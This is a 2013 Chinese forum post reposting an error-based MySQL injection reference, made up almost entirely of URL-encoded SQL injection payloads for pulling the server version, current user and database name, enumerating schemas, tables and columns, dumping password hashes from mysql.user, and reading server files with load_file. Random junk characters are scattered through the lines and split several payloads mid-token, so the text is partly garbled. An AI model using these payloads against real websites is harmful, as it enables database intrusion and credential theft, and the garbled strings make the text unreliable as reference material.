本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
/ Q% g5 h1 @7 l8 n0 o( ~4 s( B; l+ m1 A
R. B' ^/ X8 ?9 Z9 C+ d6 Z
Mysql暴错注入参考(pdf),每天一贴。。。
) ?3 _$ S9 c0 n6 T# U& F z+ b, g$ ?: C6 h9 ^
MySql Error Based Injection Reference* y0 X& x" [7 T7 u/ A3 l
[Mysql暴错注入参考]
( R6 B' v; v6 j* a$ BAuthornig0s19923 m7 ^# L3 k% [+ ]9 @9 ^# d
Blog:http://pnig0s1992.blog.51cto.com/
; }$ m, c& B2 _3 z2 `8 @# e1 hTeAm:http://www.FreeBuf.com/! d4 @) z* Y6 q1 S: U, l
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
) w8 {3 g6 H& h0 x1 E( ?小部分版本使用name_const()时会报错.可以用给出的Method.2测试5 m7 S# u1 O# z2 ?: n! T9 ?
查询版本:
# V0 B# t" L; S9 }Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
$ C6 r; G! u" j' t" _join+(select+name_const(@@version,0))b)c)
7 T: V! O" o5 @. f7 K E) XMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro8 y& t- F* _, b8 Z
up by a)b)1 W9 N2 T x/ {
查询当前用户:
r8 m1 R" `( O3 W& R0 U. iMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
5 ]5 W6 W# d, `8 dMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
1 P* K* a8 R! ~* Gand(0)*2))x+from+information_schema.tables+group+by+x)a)2 ]! S# A3 G0 ?. V) b3 x$ u
查询当前数据库:
. o( ?" I; c9 ^! i' n2 T9 V/ ZMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
( g5 \( O1 v4 n- T9 d5 Z! l% l) zMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
, z( S" Z6 }' c7 Q- x" [1 Mor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)" H9 J/ O. P8 \* r
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+5 h; M0 m( j, H' O
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n# X* a5 {" z0 N8 j/ a8 m1 y J
顺序替换# u t% f. k, C5 k4 k) a9 M
爆指定库数目:
. y* I7 {# K: {/ R: A P2 F: `and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
- D, i' X, s% {5 Z% P- v& ~, lable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group4 R4 \, \( d* [& u: t
+by+x)a)+and+1=1 0x6D7973716C=mysql- P/ J: x! X$ [) ?9 ?" f7 q
依次爆表:
# Y, Q, P4 x8 |: H6 Rand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
, ]* l- O' ~: B: ~able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
4 x H7 c, R% k* {3 g+ N: Vbles+group+by+x)a)+and+1=19 u# e/ K7 U) S
0x6D7973716C=Mysql 将n顺序替换3 _0 \3 o1 f; T3 H" M
爆表内字段数目:" D. F/ ] \" i
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
8 R/ p3 a1 m. b" X/ {. N. K+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran4 q6 u6 R+ }, |
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
, E- C. g j4 c$ ^依次爆字段:
3 `8 f' \0 p* p: ~- @- R' H0 ~. Zand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
& x" o9 e H$ c- I" z' W# r+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,13 y* g k9 E8 }* @: }
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换* R$ }- A4 j c7 f7 a9 L
依次暴内容:
2 p) c+ W% h3 G: nand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
L( S3 X1 G8 E6 J' D! yma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1. O2 t/ W% e) Q: Z& h/ s" F0 ?
将n顺序替换
$ `6 p$ H% R$ j爆文件内容:
$ q7 W, _7 v# v( q9 A1 Eand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a) _/ C- v# E3 K% ^
from+information_schema.tables+group+by+a)b) 9 K; N: q2 @# X6 f+ H, O, v& j
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节* p$ J2 U# R7 y+ V9 x7 B& I
Thx for reading.. o, e4 E |! e( i5 m9 \% u# Q
9 b$ m, A" c+ e/ f
不要下载也可以, $ N/ ?: a3 g n6 B
|